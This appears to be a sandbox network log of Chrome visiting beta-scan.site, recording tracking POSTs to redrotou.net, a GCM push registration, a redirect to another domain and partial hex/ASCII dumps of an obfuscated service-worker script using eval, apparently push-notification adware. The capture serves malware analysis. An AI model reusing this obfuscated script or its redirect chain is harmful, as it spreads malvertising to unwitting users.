2024-10-03 15:19:08 UTC	608	OUT	POST /event HTTP/1.1 Host: redrotou.net Connection: keep-alive Content-Length: 796 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://beta-scan.site Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:08 UTC	796	OUT	Data Raw: 7b 22 63 6f 64 65 22 3a 22 63 75 73 74 6f 6d 22 2c 22 7a 6f 6e 65 5f 69 64 22 3a 36 35 30 38 38 30 34 2c 22 73 77 5f 76 65 72 73 69 6f 6e 22 3a 22 33 2e 31 2e 35 36 30 22 2c 22 74 72 61 63 65 5f 69 64 22 3a 22 61 66 64 33 62 30 66 61 2d 66 65 61 36 2d 34 64 62 63 2d 61 61 64 31 2d 30 64 63 32 39 31 35 32 31 37 34 34 22 2c 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 62 65 74 61 2d 73 63 61 6e 2e 73 69 74 65 2f 63 31 64 35 6c 32 6b 2e 70 68 70 3f 6b 65 79 3d 67 38 30 6b 64 32 77 6e 72 69 65 33 79 74 73 37 6d 61 34 35 26 63 6f 73 74 3d 30 2e 30 39 30 30 30 26 63 61 6d 70 5f 69 64 3d 37 36 36 37 31 36 26 63 6f 75 6e 74 72 79 3d 55 53 26 70 6c 61 74 66 6f 72 6d 3d 57 69 6e 64 6f 77 73 26 7a 6f 6e 65 5f 69 64 3d 26 73 6f 75 72 63 65 5f 69 64 3d Data Ascii: {"code":"custom","zone_id":6508804,"sw_version":"3.1.560","trace_id":"afd3b0fa-fea6-4dbc-aad1-0dc291521744","location":"https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=
2024-10-03 15:19:08 UTC	552	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 15:19:08 GMT Content-Type: application/json; charset=utf-8 Content-Length: 26 Connection: close Accept-Ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model Access-Control-Allow-Origin: https://beta-scan.site Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Origin, X-Requested-With, X-Oaid, Content-Type, Accept Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff
2024-10-03 15:19:08 UTC	26	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 74 72 75 65 2c 22 63 6f 64 65 22 3a 22 22 7d 0a Data Ascii: {"status":true,"code":""}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.17	55835	139.45.197.251	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:08 UTC	608	OUT	POST /event HTTP/1.1 Host: redrotou.net Connection: keep-alive Content-Length: 796 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://beta-scan.site Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:08 UTC	796	OUT	Data Raw: 7b 22 63 6f 64 65 22 3a 22 63 75 73 74 6f 6d 22 2c 22 7a 6f 6e 65 5f 69 64 22 3a 36 35 30 38 38 30 34 2c 22 73 77 5f 76 65 72 73 69 6f 6e 22 3a 22 33 2e 31 2e 35 36 30 22 2c 22 74 72 61 63 65 5f 69 64 22 3a 22 61 66 64 33 62 30 66 61 2d 66 65 61 36 2d 34 64 62 63 2d 61 61 64 31 2d 30 64 63 32 39 31 35 32 31 37 34 34 22 2c 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 62 65 74 61 2d 73 63 61 6e 2e 73 69 74 65 2f 63 31 64 35 6c 32 6b 2e 70 68 70 3f 6b 65 79 3d 67 38 30 6b 64 32 77 6e 72 69 65 33 79 74 73 37 6d 61 34 35 26 63 6f 73 74 3d 30 2e 30 39 30 30 30 26 63 61 6d 70 5f 69 64 3d 37 36 36 37 31 36 26 63 6f 75 6e 74 72 79 3d 55 53 26 70 6c 61 74 66 6f 72 6d 3d 57 69 6e 64 6f 77 73 26 7a 6f 6e 65 5f 69 64 3d 26 73 6f 75 72 63 65 5f 69 64 3d Data Ascii: {"code":"custom","zone_id":6508804,"sw_version":"3.1.560","trace_id":"afd3b0fa-fea6-4dbc-aad1-0dc291521744","location":"https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=
2024-10-03 15:19:08 UTC	552	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 15:19:08 GMT Content-Type: application/json; charset=utf-8 Content-Length: 26 Connection: close Accept-Ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model Access-Control-Allow-Origin: https://beta-scan.site Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Origin, X-Requested-With, X-Oaid, Content-Type, Accept Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff
2024-10-03 15:19:08 UTC	26	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 74 72 75 65 2c 22 63 6f 64 65 22 3a 22 22 7d 0a Data Ascii: {"status":true,"code":""}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.17	55836	157.90.33.121	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:09 UTC	413	OUT	GET /f/sw.js HTTP/1.1 Host: sdk4push.com Connection: keep-alive Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:09 UTC	237	IN	HTTP/1.1 200 OK Server: Angie Date: Thu, 03 Oct 2024 15:19:09 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 78443 Connection: close Cache-Control: no-cache, max-age=0, must-revalidate, proxy-revalidate
2024-10-03 15:19:09 UTC	16147	IN	Data Raw: 76 61 72 20 61 33 5f 30 78 35 32 35 37 3d 5b 22 42 77 76 5a 43 32 66 4e 7a 71 3d 3d 22 2c 22 77 33 6a 48 78 73 62 4d 7a 78 72 4a 41 63 62 4c 43 4e 6a 56 43 4a 4f 47 44 33 6a 56 42 4d 43 47 43 33 72 48 44 68 76 5a 69 67 6e 56 7a 67 75 3d 22 2c 22 72 32 76 55 7a 78 6a 48 44 67 39 59 69 67 4c 5a 69 67 66 53 43 4d 76 48 7a 68 4b 47 7a 78 48 4c 79 33 76 30 41 77 35 4e 6c 47 3d 3d 22 2c 22 79 32 39 55 43 33 72 59 44 77 6e 30 42 33 69 3d 22 2c 22 71 32 39 55 44 67 76 55 44 63 31 75 45 78 62 4c 22 2c 22 77 33 6e 33 78 73 62 4d 42 33 6a 4a 7a 73 62 31 42 4e 6e 31 79 4e 6e 4a 43 4d 4c 49 41 77 35 4e 22 2c 22 7a 78 6a 59 42 33 6a 64 42 32 72 4c 22 2c 22 79 77 6e 30 41 78 7a 48 44 67 75 3d 22 2c 22 75 4d 76 57 42 67 66 4a 7a 71 3d 3d 22 2c 22 43 32 76 55 7a 66 62 31 Data Ascii: var a3_0x5257=["BwvZC2fNzq==","w3jHxsbMzxrJAcbLCNjVCJOGD3jVBMCGC3rHDhvZignVzgu=","r2vUzxjHDg9YigLZigfSCMvHzhKGzxHLy3v0Aw5NlG==","y29UC3rYDwn0B3i=","q29UDgvUDc1uExbL","w3n3xsbMB3jJzsb1BNn1yNnJCMLIAw5N","zxjYB3jdB2rL","ywn0AxzHDgu=","uMvWBgfJzq==","C2vUzfb1
2024-10-03 15:19:09 UTC	16384	IN	Data Raw: 65 77 20 74 28 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 28 6e 29 7d 29 29 7d 72 65 74 75 72 6e 20 6e 65 77 28 74 7c 7c 28 74 3d 50 72 6f 6d 69 73 65 29 29 28 28 66 75 6e 63 74 69 6f 6e 28 74 2c 69 29 7b 76 61 72 20 61 3d 61 33 5f 30 78 31 37 36 30 3b 66 75 6e 63 74 69 6f 6e 20 63 28 6e 29 7b 76 61 72 20 72 3d 61 33 5f 30 78 31 37 36 30 3b 74 72 79 7b 6f 28 78 5b 72 28 22 30 78 31 33 62 22 29 5d 28 6e 29 29 7d 63 61 74 63 68 28 6e 29 7b 69 28 6e 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 75 28 6e 29 7b 76 61 72 20 72 3d 61 33 5f 30 78 31 37 36 30 3b 74 72 79 7b 6f 28 78 5b 72 28 22 30 78 62 61 22 29 5d 28 6e 29 29 7d 63 61 74 63 68 28 6e 29 7b 69 28 6e 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 76 61 72 20 72 3d 61 33 5f 30 78 31 37 36 30 3b 6e 5b 72 28 Data Ascii: ew t((function(r){r(n)}))}return new(t\|\|(t=Promise))((function(t,i){var a=a3_0x1760;function c(n){var r=a3_0x1760;try{o(x[r("0x13b")](n))}catch(n){i(n)}}function u(n){var r=a3_0x1760;try{o(x[r("0xba")](n))}catch(n){i(n)}}function o(n){var r=a3_0x1760;n[r(
2024-10-03 15:19:09 UTC	16384	IN	Data Raw: 22 29 5d 3d 72 5b 74 28 22 30 78 31 31 34 22 29 5d 3d 72 5b 22 69 64 62 22 5d 3d 76 6f 69 64 20 30 3b 66 75 6e 63 74 69 6f 6e 20 61 28 6e 29 7b 76 61 72 20 72 3d 74 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 66 75 6e 63 74 69 6f 6e 28 72 2c 74 29 7b 76 61 72 20 78 3d 61 33 5f 30 78 31 37 36 30 2c 65 3d 73 65 6c 66 5b 78 28 22 30 78 65 34 22 29 5d 5b 78 28 22 30 78 37 36 22 29 5d 28 6e 5b 22 73 74 6f 72 65 4e 61 6d 65 22 5d 2c 6e 5b 22 76 65 72 73 69 6f 6e 22 5d 29 3b 65 5b 78 28 22 30 78 31 31 35 22 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 76 61 72 20 74 3d 78 2c 65 3d 72 5b 22 74 61 72 67 65 74 22 5d 5b 74 28 22 30 78 65 63 22 29 5d 2c 69 3d 6e 5b 74 28 22 30 78 34 38 22 29 5d 7c 30 3b 73 77 69 74 63 68 28 69 29 7b 63 61 73 65 20 Data Ascii: ")]=r[t("0x114")]=r["idb"]=void 0;function a(n){var r=t;return new Promise((function(r,t){var x=a3_0x1760,e=self[x("0xe4")][x("0x76")](n["storeName"],n["version"]);e[x("0x115")]=function(r){var t=x,e=r["target"][t("0xec")],i=n[t("0x48")]\|0;switch(i){case
2024-10-03 15:19:09 UTC	16384	IN	Data Raw: 30 78 32 33 22 29 5d 5b 79 28 22 30 78 64 31 22 29 5d 28 29 5d 3b 63 61 73 65 20 32 3a 72 5b 79 28 22 30 78 65 31 22 29 5d 3d 6c 5b 79 28 22 30 78 31 33 61 22 29 5d 28 29 2c 6c 5b 22 6c 61 62 65 6c 22 5d 3d 33 3b 63 61 73 65 20 33 3a 72 65 74 75 72 6e 5b 34 2c 28 30 2c 66 5b 79 28 22 30 78 63 31 22 29 5d 29 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 28 62 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 76 61 72 20 74 3d 61 33 5f 30 78 31 37 36 30 3b 72 65 74 75 72 6e 5b 32 2c 28 30 2c 6f 5b 74 28 22 30 78 31 31 39 22 29 5d 29 28 74 68 69 73 5b 74 28 22 30 78 63 34 22 29 5d 5b 22 67 65 74 5f 70 75 73 68 5f 75 72 6c 22 5d 2c Data Ascii: 0x23")][y("0xd1")]()];case 2:r[y("0xe1")]=l[y("0x13a")](),l["label"]=3;case 3:return[4,(0,f[y("0xc1")])((function(){return e(b,void 0,void 0,(function(){return i(this,(function(r){var t=a3_0x1760;return[2,(0,o[t("0x119")])(this[t("0xc4")]["get_push_url"],
2024-10-03 15:19:09 UTC	13144	IN	Data Raw: 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 5f 30 78 33 39 35 32 32 37 2c 5f 30 78 33 63 66 63 37 30 3b 72 65 74 75 72 6e 20 5f 30 78 32 66 39 62 37 34 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 66 30 64 35 38 29 7b 76 61 72 20 5f 30 78 32 31 36 63 39 38 3d 61 33 5f 30 78 31 37 36 30 3b 73 77 69 74 63 68 28 5f 30 78 32 66 30 64 35 38 5b 5f 30 78 32 31 36 63 39 38 28 22 30 78 36 30 22 29 5d 29 7b 63 61 73 65 20 30 3a 69 66 28 21 28 5f 30 78 35 37 35 39 34 66 21 3d 3d 75 6e 64 65 66 69 6e 65 64 29 29 72 65 74 75 72 6e 5b 33 2c 32 5d 3b 5f 30 78 33 39 35 32 32 37 3d 65 76 61 6c 28 5f 30 78 35 37 35 39 34 66 29 2c 5f 30 78 33 63 66 63 37 30 3d 5f 30 78 34 38 39 34 64 36 5b 22 50 75 73 68 53 74 6f 72 65 22 5d 5b 5f 30 78 32 31 36 63 39 Data Ascii: ,(function(){var _0x395227,_0x3cfc70;return _0x2f9b74(this,(function(_0x2f0d58){var _0x216c98=a3_0x1760;switch(_0x2f0d58[_0x216c98("0x60")]){case 0:if(!(_0x57594f!==undefined))return[3,2];_0x395227=eval(_0x57594f),_0x3cfc70=_0x4894d6["PushStore"][_0x216c9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.17	55839	139.45.197.251	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:10 UTC	500	OUT	OPTIONS /event HTTP/1.1 Host: redrotou.net Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type Origin: https://beta-scan.site User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:10 UTC	484	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 15:19:10 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 0 Connection: close Access-Control-Allow-Origin: https://beta-scan.site Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization-Token,X-Oaid Access-Control-Max-Age: 86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.17	55838	142.250.186.174	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:10 UTC	489	OUT	POST /c2dm/register3 HTTP/1.1 Host: android.clients.google.com Connection: keep-alive Content-Length: 269 Authorization: AidLogin 5435502604073668495:650202363321949729 Content-Type: application/x-www-form-urlencoded Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:10 UTC	269	OUT	Data Raw: 61 70 70 3d 63 6f 6d 2e 63 68 72 6f 6d 65 2e 77 69 6e 64 6f 77 73 26 58 2d 73 75 62 74 79 70 65 3d 77 70 3a 68 74 74 70 73 3a 2f 2f 62 65 74 61 2d 73 63 61 6e 2e 73 69 74 65 2f 25 32 33 35 39 36 30 41 32 42 39 2d 41 44 37 45 2d 34 38 46 44 2d 41 36 46 36 2d 37 35 42 44 31 33 38 33 41 2d 56 32 26 64 65 76 69 63 65 3d 35 34 33 35 35 30 32 36 30 34 30 37 33 36 36 38 34 39 35 26 73 63 6f 70 65 3d 47 43 4d 26 58 2d 73 63 6f 70 65 3d 47 43 4d 26 67 6d 73 76 3d 31 31 37 26 61 70 70 69 64 3d 63 65 48 72 6f 6e 6b 57 4a 4f 55 26 73 65 6e 64 65 72 3d 42 46 45 4c 7a 4c 53 59 44 4b 56 42 59 75 39 30 59 66 7a 72 32 4a 79 75 62 34 56 67 31 42 6f 41 34 65 4c 6e 66 43 54 39 34 7a 46 49 39 2d 35 64 6d 71 51 53 4d 45 33 72 71 5a 6c 56 4e 64 4c 4c 63 45 37 32 6c 78 54 4b 63 Data Ascii: app=com.chrome.windows&X-subtype=wp:https://beta-scan.site/%235960A2B9-AD7E-48FD-A6F6-75BD1383A-V2&device=5435502604073668495&scope=GCM&X-scope=GCM&gmsv=117&appid=ceHronkWJOU&sender=BFELzLSYDKVBYu90Yfzr2Jyub4Vg1BoA4eLnfCT94zFI9-5dmqQSME3rqZlVNdLLcE72lxTKc
2024-10-03 15:19:11 UTC	477	IN	HTTP/1.1 200 OK Content-Type: text/plain; charset=UTF-8 Date: Thu, 03 Oct 2024 15:19:11 GMT Expires: Thu, 03 Oct 2024 15:19:11 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-03 15:19:11 UTC	164	IN	Data Raw: 39 65 0d 0a 74 6f 6b 65 6e 3d 63 65 48 72 6f 6e 6b 57 4a 4f 55 3a 41 50 41 39 31 62 47 2d 66 75 59 66 53 31 53 52 48 78 44 51 66 61 51 34 72 77 4b 72 4b 70 66 6e 31 34 4c 4d 74 78 31 67 35 4d 6d 46 76 6a 70 39 4a 62 56 41 5f 5a 37 57 52 57 73 32 76 30 6d 54 32 67 76 30 4c 56 36 71 7a 32 44 79 65 61 35 44 41 56 57 58 6f 5f 38 4f 53 52 42 75 33 33 57 7a 62 51 62 55 44 6e 6c 74 4c 62 39 4e 76 4e 56 51 52 4e 58 7a 4d 62 4e 49 61 76 39 52 68 45 44 58 78 47 7a 70 6f 39 64 38 43 5f 52 65 0d 0a Data Ascii: 9etoken=ceHronkWJOU:APA91bG-fuYfS1SRHxDQfaQ4rwKrKpfn14LMtx1g5MmFvjp9JbVA_Z7WRWs2v0mT2gv0LV6qz2Dyea5DAVWXo_8OSRBu33WzbQbUDnltLb9NvNVQRNXzMbNIav9RhEDXxGzpo9d8C_Re
2024-10-03 15:19:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.17	55840	139.45.197.251	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:10 UTC	608	OUT	POST /event HTTP/1.1 Host: redrotou.net Connection: keep-alive Content-Length: 795 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://beta-scan.site Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:10 UTC	795	OUT	Data Raw: 7b 22 63 6f 64 65 22 3a 22 63 75 73 74 6f 6d 22 2c 22 7a 6f 6e 65 5f 69 64 22 3a 36 35 30 38 38 30 34 2c 22 73 77 5f 76 65 72 73 69 6f 6e 22 3a 22 33 2e 31 2e 35 36 30 22 2c 22 74 72 61 63 65 5f 69 64 22 3a 22 61 66 64 33 62 30 66 61 2d 66 65 61 36 2d 34 64 62 63 2d 61 61 64 31 2d 30 64 63 32 39 31 35 32 31 37 34 34 22 2c 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 62 65 74 61 2d 73 63 61 6e 2e 73 69 74 65 2f 63 31 64 35 6c 32 6b 2e 70 68 70 3f 6b 65 79 3d 67 38 30 6b 64 32 77 6e 72 69 65 33 79 74 73 37 6d 61 34 35 26 63 6f 73 74 3d 30 2e 30 39 30 30 30 26 63 61 6d 70 5f 69 64 3d 37 36 36 37 31 36 26 63 6f 75 6e 74 72 79 3d 55 53 26 70 6c 61 74 66 6f 72 6d 3d 57 69 6e 64 6f 77 73 26 7a 6f 6e 65 5f 69 64 3d 26 73 6f 75 72 63 65 5f 69 64 3d Data Ascii: {"code":"custom","zone_id":6508804,"sw_version":"3.1.560","trace_id":"afd3b0fa-fea6-4dbc-aad1-0dc291521744","location":"https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id=
2024-10-03 15:19:10 UTC	552	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 15:19:10 GMT Content-Type: application/json; charset=utf-8 Content-Length: 26 Connection: close Accept-Ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model Access-Control-Allow-Origin: https://beta-scan.site Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Origin, X-Requested-With, X-Oaid, Content-Type, Accept Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff
2024-10-03 15:19:10 UTC	26	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 74 72 75 65 2c 22 63 6f 64 65 22 3a 22 22 7d 0a Data Ascii: {"status":true,"code":""}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.17	55841	139.45.197.251	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:11 UTC	597	OUT	POST /event HTTP/1.1 Host: redrotou.net Connection: keep-alive Content-Length: 865 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: https://beta-scan.site Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:11 UTC	865	OUT	Data Raw: 7b 22 63 6f 64 65 22 3a 22 65 72 72 6f 72 5f 6a 73 6f 6e 22 2c 22 73 77 5f 76 65 72 73 69 6f 6e 22 3a 22 33 2e 31 2e 35 36 30 22 2c 22 65 72 72 6f 72 5f 6d 65 73 73 61 67 65 22 3a 22 6d 69 63 72 6f 5f 74 61 67 5f 63 61 6e 74 5f 72 65 67 69 73 74 65 72 5f 73 77 3a 2c 20 6d 65 73 73 61 67 65 3a 20 65 72 72 6f 72 2d 6f 62 6a 3a 20 53 65 63 75 72 69 74 79 45 72 72 6f 72 3a 20 46 61 69 6c 65 64 20 74 6f 20 72 65 67 69 73 74 65 72 20 61 20 53 65 72 76 69 63 65 57 6f 72 6b 65 72 20 66 6f 72 20 73 63 6f 70 65 20 28 27 68 74 74 70 73 3a 2f 2f 62 65 74 61 2d 73 63 61 6e 2e 73 69 74 65 2f 27 29 20 77 69 74 68 20 73 63 72 69 70 74 20 28 27 68 74 74 70 73 3a 2f 2f 62 65 74 61 2d 73 63 61 6e 2e 73 69 74 65 2f 73 77 2d 63 68 65 63 6b 2d 70 65 72 6d 69 73 73 69 6f 6e 73 Data Ascii: {"code":"error_json","sw_version":"3.1.560","error_message":"micro_tag_cant_register_sw:, message: error-obj: SecurityError: Failed to register a ServiceWorker for scope ('https://beta-scan.site/') with script ('https://beta-scan.site/sw-check-permissions
2024-10-03 15:19:11 UTC	552	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 15:19:11 GMT Content-Type: application/json; charset=utf-8 Content-Length: 81 Connection: close Accept-Ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model Access-Control-Allow-Origin: https://beta-scan.site Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Origin, X-Requested-With, X-Oaid, Content-Type, Accept Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff
2024-10-03 15:19:11 UTC	81	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 74 72 75 65 2c 22 63 6f 64 65 22 3a 22 65 76 65 6e 74 22 2c 22 74 72 61 63 65 5f 69 64 22 3a 22 34 33 61 30 38 62 63 32 2d 32 39 30 61 2d 33 66 34 30 2d 39 36 65 33 2d 64 32 63 37 38 34 34 31 66 66 62 35 22 7d 0a Data Ascii: {"status":true,"code":"event","trace_id":"43a08bc2-290a-3f40-96e3-d2c78441ffb5"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.17	55842	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:11 UTC	956	OUT	GET /c1d5l2k.php?lp=1&uclick=e2371nwj HTTP/1.1 Host: beta-scan.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:19:12 UTC	313	IN	HTTP/1.1 302 Found Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:19:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Location: https://avkk.newplanexcel.com/t/clk?id=ovKROc8M1xSkmE0uk6lXDT4&s1=f67ece2371nwj2e8&s2=11 Strict-Transport-Security: max-age=31536000
2024-10-03 15:19:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.17	55847	157.90.33.121	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
